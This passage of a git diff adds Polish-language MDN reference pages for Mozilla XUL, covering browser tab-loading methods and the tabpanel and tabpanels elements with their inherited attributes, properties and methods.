+ Wczytuje ustawienia URI, określone przez tablicę &lt;tt&gt;uris&lt;/tt&gt;, w kartach. Jeśli &lt;tt&gt;loadInBackground&lt;/tt&gt; jest <code>true</code>, karty są wczytywane w tle i jeśli &lt;tt&gt;replace&lt;/tt&gt; jest typu <code>true</code>, aktualnie wyświetlane karty są zastąpione przez określone URI zamiast dodawania nowych kart.</dd>
+</dl>
+<dl><dt> <span id="m-loadURI"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURI">loadURI( uri, adres-odsyłający, kodowanie-znaków )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje dokument spod danego adresu URL, z danym kodowaniem i adresem odsyłającym.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags( uri, flagi, adres-odsyłający, kodowanie-znaków, postData )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje adres URL do dokumentu z określonymi flagami wczytywania, pozwala określić adres odsyłający, kodowanie znaków oraz dane przesyłane metodą POST. Poza flagami dozwolonymi dla metody <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span>, dostępne są także:
+</dd></dl>
+<ul><li> <code>LOAD_FLAGS_IS_REFRESH</code>: Ta flaga jest stosowana, kiedy adres URL jest wczytywany ponieważ znacznik meta jest ustawiony na odświeżanie lub przekierowanie. </li><li> <code>LOAD_FLAGS_IS_LINK</code>: Ta flaga jest stosowana, kiedy adres URL jest wczytywany po kliknięciu odnośnika przez użytkownika. Nagłówek HTTP Referer jest odpowiednio ustawiany.
+</li><li> <code>LOAD_FLAGS_BYPASS_HISTORY</code>: Nie dodaje adresu URL do historii sesji.
+</li><li> <code>LOAD_FLAGS_REPLACE_HISTORY</code>: Zamienia bieżący adres URL w historii sesji na nowy. Ta flaga może zostać użyta przy przekierowywaniu.
+</li></ul>
+<p><br>
+</p>
+<dl><dt> <span id="m-reload"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reload">reload()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje ponownie dokument w przeglądarce.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-reloadAllTabs"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadAllTabs">reloadAllTabs()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wczytuje ponownie zawartość wszystkich kart.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-reloadTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadTab">reloadTab( tab )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Wczytuje ponownie określona kartę.</dd>
+</dl>
+<dl><dt> <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags( flags )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje ponownie dokument w przeglądarce z danymi flagami wczytywania. Można użyć poniższych flag; wszystkie one są stałymi własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webNavigation">webNavigation</a></span></code> (lub interfejsu <a href="pl/NsIWebNavigation">nsIWebNavigation</a>). Flagi te można łączyć przy użyciu symbolu ( <code>|</code> ).
+</dd></dl>
+<ul><li> <code>LOAD_FLAGS_NONE</code>: Bez specjalnych flag. Dokument wczytywany jest normalnie.
+</li><li> <code>LOAD_FLAGS_BYPASS_CACHE</code>: Ponownie wczytuje stronę, bez względu na to, czy strona znajduje się w pamięci podręcznej. Flaga ta jest stosowana, kiedy użytkownik naciśnie przycisk Odśwież przytrzymując wciśnięty klawisz Shift.
+</li><li> <code>LOAD_FLAGS_BYPASS_PROXY</code>: Ponownie wczytuje stronę, ignorując serwery proxy. </li><li> <code>LOAD_FLAGS_CHARSET_CHANGE</code>: Flaga ta jest stosowana, gdy zachodzi konieczność odświeżenia dokumentu, ponieważ zmieniono kodowanie znaków.
+</li></ul>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-removeAllTabsBut"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeAllTabsBut">removeAllTabsBut( tabElement )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Usuwa wszystkie panele kart oprócz jednego przesyłanego do określonej karty. Jeśli tylko jedna strona karta jest wyświetlana, to ta metoda nie robi nic.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-removeCurrentTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeCurrentTab">removeCurrentTab()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></i>
+ </dd>
+ <dd>
+ Usuwa bieżącą kartę wyświetlonej strony. Jeśli jest to jedyna wyświetlona karta ze stroną, metoda ta nie zostanie wykonana.</dd>
+</dl>
+<dl><dt> <span id="m-removeProgressListener"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeProgressListener">removeProgressListener( listener )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Usuwa element nasłuchujący postęp wczytywania z przeglądarki.
+</dd></dl>
+<p><br>
+</p>
+
+<dl>
+ <dt><span id="m-replaceGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/replaceGroup">replaceGroup( group )</a></code></span></dt>
+ <dd><strong><span class="highlightred">Nie w Firefoksie</span></strong></dd>
+ <dd>Zwraca typ:<em>tablica obiektów historii sesji</em></dd>
+ <dd>Zastępuje istniejące karty nowymi ustawieniami. Jeśli tutaj było więcej kart przedtem, dodatkowe karty nie zostaną usunięte. Możemy zastosować metodę <span id="m-removeTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeTab">removeTab</a></code></span>, aby usunąć istniejące pierwsze karty, jeśli if that is desired. The argument should be an array of objects, one for each document to load. The objects may be defined in script and contain a <code>URI</code> property for the URL of the page to load. A <code>referrerURI</code> property may also be optionally used to set the referrer page. This method returns an array of the session history objects for the tabs that were removed.</dd>
+</dl>
+<dl><dt> <span id="m-stop"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/stop">stop()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Odpowiednik naciśnięcia przycisku Zatrzymaj. Metoda ta zatrzymuje wczytywanie bieżącego dokumentu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tabpanel/index.html b/files/pl/mozilla/tech/xul/tabpanel/index.html
new file mode 100644
index 0000000000..dea61849d7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tabpanel/index.html
@@ -0,0 +1,96 @@
+---
+title: tabpanel
+slug: Mozilla/Tech/XUL/tabpanel
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tabpanel
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Indywidualny panel w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code>. Ten element jest opcjonalny i możemy tylko stosować inne kontenery poprzez umieszczenie ich w tym panelu.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code>.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tabpanels/index.html b/files/pl/mozilla/tech/xul/tabpanels/index.html
new file mode 100644
index 0000000000..ce96d43bda
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tabpanels/index.html
@@ -0,0 +1,155 @@
+---
+title: tabpanels
+slug: Mozilla/Tech/XUL/tabpanels
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tabpanels
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener do podtrzymania ustawień stron w <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>. Element <code>tabpanels</code> powinien być umieszczony w <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>. Dziecko elementu <code>tabpanels</code> zostaje panelami <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>. Zazwyczaj, dzieci są elementami <code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code>. Poprzez kliknięcie pierwszej karty, pierwszy panel zostanie wyświetlony. Poprzez kliknięcie drugiej karty, drugi panel zostanie wyświetlony i tak dalej.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-selectedIndex">selectedIndex</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-selectedPanel">selectedPanel</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-selectedIndex">
+
+<dl>
+ <dt>
+ <code id="a-selectedIndex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selectedIndex">selectedIndex</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia indeks aktualnie zaznaczonego panelu. Pierwsza pozycja jest w indeksie jako 0.</dd>
+</dl>
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
